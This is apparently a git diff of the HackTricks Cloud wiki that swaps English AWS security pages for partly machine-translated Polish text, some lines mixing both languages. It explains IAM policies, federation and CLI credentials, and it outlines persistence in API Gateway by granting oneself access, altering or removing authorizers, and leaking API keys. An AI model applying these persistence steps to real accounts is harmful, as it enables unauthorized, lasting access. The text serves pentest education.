+**Tymczasowe poświadczenia są głównie używane z rolami IAM**, ale istnieją również inne zastosowania. Możesz zażądać tymczasowych poświadczeń, które mają bardziej ograniczony zestaw uprawnień niż standardowy użytkownik IAM. To **zapobiega** przypadkowemu **wykonywaniu zadań, które nie są dozwolone** przez bardziej ograniczone poświadczenia. Korzyścią tymczasowych poświadczeń jest to, że wygasają automatycznie po określonym czasie. Masz kontrolę nad czasem, przez jaki poświadczenia są ważne.
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+### Polityki
-### Policies
+#### Uprawnienia polityki
-#### Policy Permissions
+Służą do przypisywania uprawnień. Istnieją 2 typy:
-Are used to assign permissions. There are 2 types:
-
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- Polityki zarządzane przez AWS (wstępnie skonfigurowane przez AWS)
+- Polityki zarządzane przez klienta: skonfigurowane przez Ciebie. Możesz tworzyć polityki na podstawie polityk zarządzanych przez AWS (modyfikując jedną z nich i tworząc własną), korzystając z generatora polityk (widok GUI, który pomaga w przyznawaniu i odmawianiu uprawnień) lub pisząc własne.
+Zgodnie z **domyślnym dostępem** jest **odmowa**, dostęp zostanie przyznany, jeśli określono wyraźną rolę.\
+Jeśli **istnieje pojedyncza "Odmowa", nadpisze "Zezwolenie"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie).
```javascript
{
- "Version": "2012-10-17", //Version of the policy
- "Statement": [ //Main element, there can be more than 1 entry in this array
- {
- "Sid": "Stmt32894y234276923" //Unique identifier (optional)
- "Effect": "Allow", //Allow or deny
- "Action": [ //Actions that will be allowed or denied
- "ec2:AttachVolume",
- "ec2:DetachVolume"
- ],
- "Resource": [ //Resource the action and effect will be applied to
- "arn:aws:ec2:*:*:volume/*",
- "arn:aws:ec2:*:*:instance/*"
- ],
- "Condition": { //Optional element that allow to control when the permission will be effective
- "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
- }
- }
- ]
+"Version": "2012-10-17", //Version of the policy
+"Statement": [ //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [ //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
}
```
-
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Policies
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. Wtedy nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\
+Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której jest stosowana. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. To dlatego, że są częścią głównego podmiotu.
#### Resource Bucket Policies
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**.
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone.
### IAM Boundaries
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+Granice IAM mogą być używane do **ograniczenia uprawnień, do których użytkownik lub rola powinny mieć dostęp**. W ten sposób, nawet jeśli inny zestaw uprawnień jest przyznawany użytkownikowi przez **inną politykę**, operacja **nie powiedzie się**, jeśli spróbuje ich użyć.
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+Granica to po prostu polityka przypisana do użytkownika, która **wskazuje maksymalny poziom uprawnień, jakie użytkownik lub rola mogą mieć**. Tak więc, **nawet jeśli użytkownik ma dostęp administratora**, jeśli granica wskazuje, że może tylko czytać kosze S·, to jest to maksymalne, co może zrobić.
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+**To**, **SCP** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
### Session Policies
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+Polityka sesji to **polityka ustawiana, gdy rola jest przyjmowana** w jakiś sposób. Będzie to jak **granica IAM dla tej sesji**: Oznacza to, że polityka sesji nie przyznaje uprawnień, ale **ogranicza je do tych wskazanych w polityce** (maksymalne uprawnienia to te, które ma rola).
+To jest przydatne dla **środków bezpieczeństwa**: Kiedy administrator ma przyjąć bardzo uprzywilejowaną rolę, może ograniczyć uprawnienia tylko do tych wskazanych w polityce sesji, na wypadek gdyby sesja została skompromitowana.
```bash
aws sts assume-role \
- --role-arn \
- --role-session-name \
- [--policy-arns ]
- [--policy ]
+--role-arn \
+--role-session-name \
+[--policy-arns ]
+[--policy ]
```
+Note that by default **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z zaawansowanej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **istnieje polityka sesji, która to uniemożliwia**.
### Identity Federation
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+Identity federation **pozwala użytkownikom z dostawców tożsamości, które są zewnętrzne** dla AWS na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
+Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+However, you will usually want to give a **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
### IAM Identity Center
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkownikami i ich dostępem do kont AWS** oraz aplikacji w chmurze.
The login domain is going to be something like `.awsapps.com`.
@@ -267,20 +251,20 @@ To login users, there are 3 identity sources that can be used:
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **dowolnych kont** organizacji.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
#### AwsSSOInlinePolicy
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+It's possible to **dać uprawnienia za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Rola utworzona w kontach, którym nadano **polityki inline w AWS Identity Center**, będzie miała te uprawnienia w polityce inline nazwanej **`AwsSSOInlinePolicy`**.
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **nie oznacza, że ma te same uprawnienia**.
### Cross Account Trusts and Roles
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**Użytkownik** (ufający) może utworzyć rolę Cross Account z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (ufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać Cross Account Role. Role dla dostępu między kontami oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\
+Zaleca się **określenie użytkownika, który jest ufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania.
### AWS Simple AD
@@ -300,28 +284,28 @@ The app uses the AssumeRoleWithWebIdentity to create temporary credentials. Howe
### Other IAM options
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- You can **ustawić politykę hasła**, opcje takie jak minimalna długość i wymagania dotyczące hasła.
+- You can **pobierać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takich jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak raz co **cztery godziny**.
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **kto może uzyskać dostęp do jakich usług i zasobów**, i na jakich warunkach. With IAM policies, you manage permissions to your workforce and systems to **zapewnić uprawnienia minimalne**.
### IAM ID Prefixes
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **prefiksy ID IAM** kluczy w zależności od ich natury:
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential |
-| AGPA | User group |
-| AIDA | IAM user |
-| AIPA | Amazon EC2 instance profile |
-| AKIA | Access key |
-| ANPA | Managed policy |
-| ANVA | Version in a managed policy |
-| APKA | Public key |
-| AROA | Role |
-| ASCA | Certificate |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | Poświadczenie specyficzne dla kontekstu |
+| AGPA | Grupa użytkowników |
+| AIDA | Użytkownik IAM |
+| AIPA | Profil instancji Amazon EC2 |
+| AKIA | Klucz dostępu |
+| ANPA | Polityka zarządzana |
+| ANVA | Wersja w polityce zarządzanej |
+| APKA | Klucz publiczny |
+| AROA | Rola |
+| ASCA | Certyfikat |
+| ASIA | [Tymczasowe identyfikatory kluczy dostępu (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) używają tego prefiksu, ale są unikalne tylko w połączeniu z tajnym kluczem dostępu i tokenem sesji. |
### Recommended permissions to audit accounts
@@ -340,10 +324,9 @@ The following privileges grant various read access of metadata:
### CLI Authentication
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
+In order for a regular user authenticate to AWS via CLI you need to have **lokalne poświadczenia**. By default you can configure them **ręcznie** w `~/.aws/credentials` or by **uruchamiając** `aws configure`.\
+In that file you can have more than one profile, if **żaden profil** nie jest określony przy użyciu **aws cli**, użyty zostanie ten nazwany **`[default]`** w tym pliku.\
Example of credentials file with more than 1 profile:
-
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +337,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
+Jeśli musisz uzyskać dostęp do **różnych kont AWS** i Twój profil ma dostęp do **przyjęcia roli w tych kontach**, nie musisz ręcznie wywoływać STS za każdym razem (`aws sts assume-role --role-arn --role-session-name sessname`) i konfigurować poświadczeń.
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+Możesz użyć pliku `~/.aws/config`, aby [**wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\
+Przykład pliku konfiguracyjnego:
```
[profile acc2]
region=eu-west-2
@@ -368,14 +349,11 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-
-With this config file you can then use aws cli like:
-
+Z tym plikiem konfiguracyjnym możesz następnie używać aws cli w ten sposób:
```
aws --profile acc2 ...
```
-
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
+Jeśli szukasz czegoś **podobnego** do tego, ale dla **przeglądarki**, możesz sprawdzić **rozszerzenie** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
## References
@@ -384,7 +362,3 @@ If you are looking for something **similar** to this but for the **browser** you
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..8c71f9102 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,87 +1,84 @@
-# AWS - Federation Abuse
+# AWS - Nadużycie Federacji
{{#include ../../../banners/hacktricks-training.md}}
## SAML
-For info about SAML please check:
+Aby uzyskać informacje o SAML, sprawdź:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** i **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
-## OIDC - Github Actions Abuse
+## OIDC - Nadużycie Github Actions
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- - ```json
- {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "token.actions.githubusercontent.com:sub": [
- "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
- "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
- ],
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
- }
- ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+Aby dodać akcję github jako dostawcę tożsamości:
+1. W _Typ dostawcy_ wybierz **OpenID Connect**.
+2. W _URL dostawcy_ wpisz `https://token.actions.githubusercontent.com`
+3. Kliknij na _Pobierz odcisk palca_, aby uzyskać odcisk palca dostawcy
+4. W _Odbiorca_ wpisz `sts.amazonaws.com`
+5. Utwórz **nową rolę** z **uprawnieniami**, których potrzebuje akcja github oraz **politykę zaufania**, która ufa dostawcy, jak w poniższym przykładzie:
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. Zauważ w poprzedniej polityce, jak tylko **gałąź** z **repozytorium** **organizacji** została autoryzowana z określonym **wyzwalaczem**.
+7. **ARN** **roli**, którą akcja github będzie mogła **udawać**, będzie "sekretem", który akcja github musi znać, więc **przechowuj** go w **sekrecie** w **środowisku**.
+8. Na koniec użyj akcji github, aby skonfigurować poświadczenia AWS, które będą używane przez workflow:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
- pull_request:
- branches:
- - main
+pull_request:
+branches:
+- main
# Required to get the ID Token that will be used for OIDC
permissions:
- id-token: write
- contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
jobs:
- aws:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-region: eu-west-1
- role-to-assume:${{ secrets.READ_ROLE }}
- role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
- - run: aws sts get-caller-identity
- shell: bash
+- run: aws sts get-caller-identity
+shell: bash
```
-
-## OIDC - EKS Abuse
-
+## OIDC - Nadużycie EKS
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawiając **OIDC URL** klastra jako **nowego dostawcę tożsamości Open ID**. To jest powszechna domyślna polityka:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
}
```
+Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **WSZYSTKIE konta usługi z tokenem tożsamości webowej** będą **mogły przyjąć** rolę.
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+Aby określić, **które konto usługi powinno mieć możliwość przyjęcia roli,** należy określić **warunek**, w którym **nazwa konta usługi jest określona**, na przykład:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-
## References
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..5f8e6ddf4 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,21 +1,17 @@
-# AWS - Permissions for a Pentest
+# AWS - Uprawnienia do Pentestu
{{#include ../../banners/hacktricks-training.md}}
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+To są uprawnienia, które potrzebujesz na każdym koncie AWS, które chcesz audytować, aby móc uruchomić wszystkie proponowane narzędzia audytowe AWS:
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- - **access-analyzer:List\***
- - **access-analyzer:Get\***
- - **iam:CreateServiceLinkedRole**
- - **access-analyzer:CreateAnalyzer**
- - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- - **access-analyzer:DeleteAnalyzer**
- - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- Domyślna polityka **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- Aby uruchomić [aws_iam_review](https://github.com/carlospolop/aws_iam_review), potrzebujesz również uprawnień:
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- Opcjonalne, jeśli klient generuje analizy dla Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
+- **access-analyzer:DeleteAnalyzer**
+- Opcjonalne, jeśli klient usuwa analizy za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..d0855ff90 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - Utrzymywanie dostępu
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..7ed50bac0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -1,36 +1,32 @@
-# AWS - API Gateway Persistence
+# AWS - Utrzymywanie w API Gateway
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
-For more information go to:
+Aby uzyskać więcej informacji, przejdź do:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Resource Policy
+### Polityka zasobów
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+Zmień politykę zasobów bramy API, aby przyznać sobie dostęp do nich.
-### Modify Lambda Authorizers
+### Modyfikacja autoryzatorów Lambda
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+Zmień kod autoryzatorów Lambda, aby przyznać sobie dostęp do wszystkich punktów końcowych.\
+Lub po prostu usuń użycie autoryzatora.
-### IAM Permissions
+### Uprawnienia IAM
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+Jeśli zasób korzysta z autoryzatora IAM, możesz przyznać sobie dostęp do niego, modyfikując uprawnienia IAM.\
+Lub po prostu usuń użycie autoryzatora.
-### API Keys
+### Klucze API
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać ciągłość lub nawet stworzyć nowe.\
+Lub po prostu usuń użycie kluczy API.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..757266601 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,24 +4,24 @@
## Cognito
-For more information, access:
